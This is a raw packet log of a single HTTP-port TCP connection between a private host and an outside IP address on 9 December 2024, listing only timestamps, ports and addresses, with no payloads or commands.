Dec 9, 2024 18:20:51.429136992 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.429917097 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.429966927 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.430048943 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.430098057 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.431036949 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.431082010 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.568028927 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.568114996 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.568237066 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.568286896 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.568555117 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.568608999 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.568682909 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.568730116 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.569663048 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.569717884 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.569792986 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.569844007 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.570678949 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.570728064 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.570817947 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.570866108 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.571959972 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.572016001 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.572022915 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.572061062 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.572890043 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.572937965 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.572997093 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.573044062 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.573868036 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.573913097 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.573959112 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.574002981 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.575007915 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.575059891 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.575097084 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.575139999 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.575985909 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.576035023 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.576142073 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.576189041 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.577106953 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.577158928 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.577218056 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.577277899 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.578141928 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.578192949 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.578263998 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.578309059 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.579132080 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.579183102 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.579233885 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.579277039 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.580141068 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.580188036 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.580245018 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.580310106 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.581198931 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.581248999 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.581357956 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.581401110 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.582293987 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.582345009 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.582452059 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.582499981 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.583364964 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.583415031 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.583486080 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.583527088 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.584407091 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.584460974 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.584716082 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.584763050 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.585513115 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.585561037 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.585608006 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.585653067 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.586667061 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.586682081 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.586718082 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.586731911 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.587697029 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.587743998 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.587790012 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.587836027 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.588567019 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.588610888 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.588664055 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.588710070 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.589628935 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.589680910 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.589782000 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.589831114 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.590837002 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.590883970 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.590955973 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.591001987 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.591847897 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.591895103 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.591967106 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.592010975 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.592773914 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.592819929 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.593048096 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.593101978 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.593914986 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.593964100 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.594070911 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.594118118 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.595041990 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.595088959 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.595262051 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.595305920 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.596143961 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.596193075 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.596246958 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.596296072 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.597024918 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.597069979 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.597140074 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.597187042 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.598198891 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.598243952 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.598447084 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.598496914 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.599292994 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.599349022 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.599374056 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.599416018 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.600151062 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.600203991 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.600253105 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.600291967 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.601418018 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.601469994 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.601519108 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.601562977 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.602330923 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.602381945 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.602452993 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.602499008 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.603492022 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.603538990 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.603638887 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.603683949 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.604563951 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.604613066 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.604655027 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.604698896 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.606077909 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.606125116 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.606255054 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.606301069 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.607258081 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.607300997 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.607584000 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.607628107 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.608047009 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.608092070 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.608165026 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.608210087 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.608978987 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.609026909 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.609071970 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.609117031 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.609980106 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.610024929 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.610125065 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.610171080 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.610845089 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.610892057 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.610944986 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.610987902 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.611732006 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.611778021 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.611922026 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.611972094 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.612808943 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.612854004 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.612927914 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.612972021 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.613821983 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.613910913 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.613929987 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.613976955 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.614872932 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.614919901 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.614964962 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.615010977 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.616153002 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.616200924 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.616244078 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.616281033 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.617006063 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.617053986 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.617165089 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.617209911 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.618046045 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.618103027 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.618159056 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.618201971 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.619097948 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.619149923 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.619229078 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.619276047 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.620179892 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.620235920 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.620285034 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.620326042 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.621165991 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.621216059 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.621267080 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.621311903 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.622296095 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.622344971 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.622390985 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.622435093 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.623281956 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.623342037 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.760488033 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.760569096 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.760596991 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.760638952 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.761037111 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.761091948 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.761219025 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.761269093 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.762001038 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.762049913 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.762109041 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.762155056 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.762859106 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.762907028 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.762979031 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.763025999 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.764117956 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.764132023 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.764162064 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.764177084 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.765039921 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.765089035 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.765291929 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.765341043 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.765865088 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.765916109 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.766052008 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.766099930 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.766904116 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.766952038 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.767081976 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.767131090 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.768783092 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.768788099 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.768831968 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.769000053 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.769016027 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.769052982 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.770066023 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.770119905 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.770692110 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.770745993 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.771348953 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.771399975 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.771529913 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.771576881 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.892632008 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.892649889 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.892689943 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.892724991 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.893727064 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.893740892 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.893796921 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.013052940 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.013072014 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.013165951 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.013643026 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.013657093 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.013808012 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.122366905 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.122394085 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.122406006 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.122419119 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.122499943 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.122528076 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.122891903 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.122911930 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.122924089 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.122980118 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.123908997 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.123924017 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.123934984 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.123994112 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.124743938 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.124759912 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.124766111 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.124769926 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.124806881 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.124826908 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.125605106 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.125622034 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.125634909 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.125653982 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.125685930 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.126498938 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.126512051 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.126523018 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.126545906 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.126574039 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.127443075 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.127458096 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.127469063 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.127481937 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.127490044 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.127502918 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.127536058 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.128201962 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.128213882 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.128226042 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.128247023 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.128258944 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.129049063 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.129062891 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.129072905 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.129101038 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.129112005 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.129836082 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.129856110 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.129868031 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.129880905 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.129888058 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.129899025 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.129930019 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.130564928 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.130578041 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.130588055 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.130614996 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.130641937 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.131505966 CET	80	49828	185.215.113.16	192.168.2.6
